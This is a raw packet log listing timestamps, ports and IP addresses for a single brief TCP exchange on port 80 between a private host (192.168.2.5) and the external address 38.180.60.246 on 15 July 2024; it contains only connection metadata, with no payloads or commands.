Jul 15, 2024 00:48:25.331049919 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.331739902 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.331751108 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.331762075 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.331775904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.331789017 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.331792116 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.331813097 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.331832886 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.331887960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.331903934 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.331937075 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.332176924 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.332230091 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.332820892 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.332833052 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.332844019 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.332856894 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.332869053 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.332875013 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.332881927 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.332895041 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.332905054 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.332906961 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.332928896 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.332947969 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.333586931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.333597898 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.333609104 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.333642006 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.333669901 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.333734989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.333746910 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.333758116 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.333786011 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.333810091 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.334033966 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.334047079 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.334089994 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.334109068 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.334916115 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.334925890 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.334937096 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.334970951 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.334996939 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.335088968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.335099936 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.335110903 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.335123062 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.335133076 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.335138083 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.335160017 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.335179090 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.335369110 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.335378885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.335421085 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.335511923 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.335557938 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.335647106 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.335659027 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.335697889 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.335791111 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.335803032 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.335813046 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.335840940 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.335856915 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.336539030 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.336549997 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.336560965 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.336574078 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.336594105 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.336622000 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.336693048 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.336703062 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.336715937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.336725950 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.336740017 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.336751938 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.336777925 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.337259054 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.337276936 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.337316990 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.337403059 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.337415934 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.337445021 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.337551117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.337563992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.337574959 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.337594986 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.337616920 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.338017941 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.338068008 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.338159084 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.338170052 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.338180065 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.338191032 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.338212013 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.338244915 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.338321924 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.338335037 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.338345051 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.338365078 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.338390112 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.416166067 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.416182041 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.416193962 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.416205883 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.416218996 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.416229963 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.416243076 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.416243076 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.416254997 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.416271925 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.416282892 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.416290045 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.416301966 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.416311979 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.416316986 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.416327953 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.416332960 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.416332960 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.416342020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.416352034 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.416353941 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.416415930 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.417911053 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.417921066 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.417931080 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.417943001 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.417953968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.417967081 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.417969942 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.417978048 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.418001890 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.418025017 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.418519974 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.418566942 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.418642998 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.418654919 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.418688059 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.418800116 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.418812990 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.418823957 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.418884993 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.418941021 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.418952942 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.418967009 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.418973923 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.419008970 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.419117928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.419130087 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.419142008 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.419167995 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.419204950 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.419271946 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.419282913 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.419292927 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.419303894 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.419308901 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.419341087 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.419758081 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.419770002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.419781923 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.419792891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.419806957 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.419823885 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.419856071 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.419893026 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.419904947 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.419917107 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.419934988 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.420027018 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.421359062 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.421370029 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.421380043 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.421442032 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.421442032 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.421516895 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.421528101 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.421539068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.421550035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.421555996 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.421564102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.421575069 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.421603918 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.421715021 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.421725035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.421736002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.421746969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.421757936 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.421770096 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.421819925 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.421854019 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.421865940 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.421901941 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.422353029 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.422394991 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.422494888 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.422507048 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.422533035 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.422549963 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.422646046 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.422657967 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.422667980 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.422688007 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.422689915 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.422700882 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.422719002 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.422734976 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.423329115 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.423377991 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.423413992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.423460960 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.423540115 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.423551083 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.423580885 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.423708916 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.423721075 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.423729897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.423742056 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.423753023 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.423774004 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.424464941 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.424474955 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.424494028 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.424508095 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.424510002 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.424520016 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.424530983 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.424531937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.424559116 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.424583912 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.424604893 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.424617052 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.424640894 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.424657106 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.426098108 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.426145077 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.426223040 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.426234007 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.426244974 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.426265001 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.426290035 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.426394939 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.426405907 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.426417112 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.426429033 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.426435947 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.426439047 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.426455021 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.426482916 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.426614046 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.426655054 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.426719904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.426732063 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.426743031 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.426753998 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.426770926 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.426790953 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.426875114 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.426886082 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.426897049 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.426932096 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.426958084 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.427812099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.427861929 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.427964926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.427975893 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.427988052 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.427999973 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.428010941 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.428015947 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.428042889 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.428060055 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.428225994 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.428275108 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.428421974 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.428432941 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.428443909 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.428456068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.428467035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.428471088 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.428478956 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.428498030 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.428499937 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.428518057 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.428541899 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.429543018 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.429553986 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.429598093 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.443404913 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.443417072 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.443433046 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.443460941 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.443497896 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.443531036 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.443542004 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.443553925 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.443594933 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.505707026 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.505722046 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.505733013 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.505738020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.505752087 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.505764008 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.505778074 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.505840063 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.505887985 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.505995035 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.506005049 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.506015062 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.506028891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.506040096 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.506056070 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.506087065 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.506160021 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.506175041 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.506187916 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.506197929 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.506201982 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.506220102 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.506742001 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.506753922 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.506763935 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.506767035 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.506774902 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.506786108 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.506789923 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.506822109 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:25.506824970 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.506834984 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.506844044 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:25.506859064 CEST	49704	80	192.168.2.5	38.180.60.246
